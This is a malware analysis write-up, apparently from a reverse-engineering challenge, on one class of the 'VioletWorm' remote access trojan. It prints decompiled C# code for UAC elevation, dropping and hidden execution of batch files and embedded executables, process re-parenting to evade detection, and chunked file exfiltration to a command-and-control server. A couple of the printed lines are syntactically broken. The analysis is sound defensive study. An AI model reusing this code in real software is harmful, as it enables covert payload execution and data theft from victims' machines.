Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author: Moise Medici
Updated: 07 Sept 2026 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Dropping Secondary Payloads Persistence Mechanisms Command and Control C2 Communication Command Execution via Powershell Cmd Bash Data-Exfiltration File Encryption Keylogging Screen Capture Webcam Access Clipboard Manipulation Credential Theft AMSI and ETW Bypass Sandbox and VM Evasion Reflective Code Loading USB Spreading Denial of Service
Tags: python C#

Class `UDAQWVp`

The first function is cZjrq4V5X7cQzfHuE3V8 and it is used to check whether the user is an administrator, via the IsInRole method. Function renamed as IsAdmin.

1
public static bool cZjrq4V5X7cQzfHuE3V8()
2
{
3
    WindowsIdentity current = WindowsIdentity.GetCurrent();
4
    WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
5
    return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
6
}

The next function tries to elevate itself to administrator by using the runas verb, “hoping” the user will click on yes:

1
public static void jkAi9GiW8wbRX0mm8ASb()
2
{
3
    string executablePath = Application.ExecutablePath;
4
    ProcessStartInfo processStartInfo = new ProcessStartInfo(executablePath);
5
    processStartInfo.Verb = "runas";
6
    processStartInfo.UseShellExecute = true;
7
    processStartInfo.WindowStyle = ProcessWindowStyle.Normal;
8
    try
9
    {
10
        Process.Start(processStartInfo);
11
        SocketManager.socketVariable.Shutdown(SocketShutdown.Both);
12
        SocketManager.socketVariable.Close();
13
        Environment.Exit(0);
14
    }
15
    catch (Exception ex)
16
    {
17
    }
18
}

The runas verb makes Windows show the UAC consent dialog. If the user clicks “Yes”, a new elevated instance starts and the old one closes its socket and exits; if they click “No”, the Win32Exception is ignored and the unprivileged instance simply keeps running. The function is renamed as RestartAsAdmin.

The next two functions are used together in a third function. The first one takes a string and writes its content to %TEMP%\WinTempClean32.bat, while the second one executes a .bat file in hidden mode.

1
public static string WriteTemp32Bat(string text)
2
{
3
    string text2 = Path.Combine(Path.GetTempPath(), "WinTempClean32.bat");
4
    File.WriteAllText(text2, text);
5
    return text2;
6
}
7

8
public static void ExecuteBatch(string batchFilePath)
9
{
10
    try
11
    {
12
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
13
        processStartInfo.FileName = batchFilePath;
14
        processStartInfo.RedirectStandardOutput = true;
15
        processStartInfo.RedirectStandardError = true;
16
        processStartInfo.UseShellExecute = false;
17
        processStartInfo.CreateNoWindow = true;
18
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
19
        Process process = Process.Start(batchFilePath);
20
    }
21
    catch (Exception ex)
22
    {
23
    }
24
}
25

26
public static void RunBatch(string BCode)
27
{
28
    string text = UDAQWVp.WriteTemp32Bat(UDAQWVp.DecodeBase64(BCode));
29
    UDAQWVp.ExecuteBatch(text);
30
}

The next two functions act on the same new executable, named 3d847c5c-4f5a-4918-9e07-a96cea49048d.exe: the first saves and executes it, while the second terminates all its instances and deletes it. The file is saved in %TEMP% and executed with two arguments, targetIP and gatewayIP. This may indicate that the tool is a man-in-the-middle tool or an ARP spoofer.

1
public static void SaveUUIDexeAndRun(string base64Exe, string targetIP, string gatewayIP)
2
{
3
    try
4
    {
5
        byte[] array = Convert.FromBase64String(base64Exe);
6
        string text = Path.Combine(Path.GetTempPath(), "3d847c5c-4f5a-4918-9e07-a96cea49048d.exe");
7
        File.WriteAllBytes(text, array);
8
        UDAQWVp.MyProcess1 = new Process();
9
        UDAQWVp.MyProcess1.StartInfo = new ProcessStartInfo
10
        {
11
            FileName = text,
12
            Arguments = targetIP + " " + gatewayIP,
13
            UseShellExecute = false,
14
            CreateNoWindow = true
15
        };
16
        UDAQWVp.MyProcess1.Start();
17
    }
18
    catch (Exception ex)
19
    {
20
    }
21
}
22

23
public static void DeleteAndKillUUIDexe()
24
{
25
    try
26
    {
27
        if (UDAQWVp.MyProcess1 != null && !UDAQWVp.MyProcess1.HasExited)
28
        {
29
            UDAQWVp.MyProcess1.Kill();
30
            UDAQWVp.MyProcess1.WaitForExit();
31
            File.Delete(Path.Combine(Path.GetTempPath(), "3d847c5c-4f5a-4918-9e07-a96cea49048d.exe"));
32

33
        }
34
    }
35
    catch (Exception ex)
36
    {
37
    }
38

39
    try
40
    {
41
        Process[] processesByName = Process.GetProcessesByName("3d847c5c-4f5a-4918-9e07-a96cea49048d.exe");
42
        foreach (Process process in processesByName)
43
        {
44
            process.Kill();
45
            process.WaitForExit();
46
        }
47
    }
48
    catch (Exception ex2)
49
    {
50
    }
51
}

The next function, AMDgEvHnP1N1rm6JsI45, is the same as SaveUUIDexeAndRun, but with an arbitrary UUID. It is renamed SaveArbitraryUUIDandRun.

Moving on, GBrXg475bzZf3jHb8E07 follows the same pattern as the other “SaveAndRun” methods above, saving the file in %TEMP%\WinSc32.exe and starting it. This time the function sets the process name to explorer.exe. Launching via explorer.exe breaks the parent-child relationship: the new process is re-parented under the shell instead of the RAT. This defeats detection rules that look for suspicious process trees and drops the elevated token back to the logged-on user’s medium-integrity level.

The function is renamed SaveWinsc32exeAndRun, while 5nwcG6RIkIotRozoVAOv terminates WinSc32.exe.

1
public static void Winsc32Killer()
2
{
3
    try
4
    {
5
        foreach (Process process in Process.GetProcessesByName("WinSc32"))
6
        {
7
            process.Kill();
8
            process.WaitForExit();
9
        }
10
    }
11
    catch (Exception ex)
12
    {
13
    }
14
}

The function fs6se1FxKxBkbwFBtp61 is renamed PatchAmsiLoad because it performs the same AMSI patching analyzed at the beginning of the report.

Another pattern that has already been seen appears in the functions iNKf4s1S93MCHNvyvuZG and 0aGeg9r4T8QobmaRcQHO, which start their respective process (the random UUID or the static one) with overwritten stdout and stderr handlers, to send messages to the C2 server. The functions are renamed as CustomStartofArbitraryUUID and CustomStartofUUID.

The function Fz9RwmlEsAs0aI5IG6zv terminates the process associated with the static UUID.

The very last function is BxyANX0VddVfmLB0Bpht:

1
public static void BxyANX0VddVfmLB0Bpht(string path, string fileName, string sessionID)
2
{
3
    checked
4
    {
5
        try
6
        {
7
            byte[] array = File.ReadAllBytes(path);
8
            int num = array.Length;
9
            int num2 = 32768;
10
            int i = 0;
11
            while (i < num)
12
            {
13
                int num3 = num - i;
14
                int num4 = Math.Min(num2, num3);
15
                byte[] array2 = new byte[num4 - 1 + 1];
16
                Buffer.BlockCopy(array, i, array2, 0, num4);
17
                string text = Convert.ToBase64String(array2);
18
                string text2 = "filechunkViolet" + text + "Violet" + fileName + "Violet" + num + "Violet" +i "Violet" + sessionID));
19
                SocketManager.SendEncryptedMessage(text2);
20
                i += num4;
21
                Thread.Sleep(10);
22
            }
23
            SocketManager.SendEncryptedMessage("filechunkViolet", fileName, sessionID));
24
        }
25
        catch (Exception ex)
26
        {
27
        }
28
    }
29
}

This function exfiltrates a file by reading it and sending it to the C2 server in chunks. It is renamed SendFileInChunks.

Since the class primarily drops and runs executables, it is renamed Dropper.

VioletWorm - game.exe

Class UDAQWVp

Class `UDAQWVp`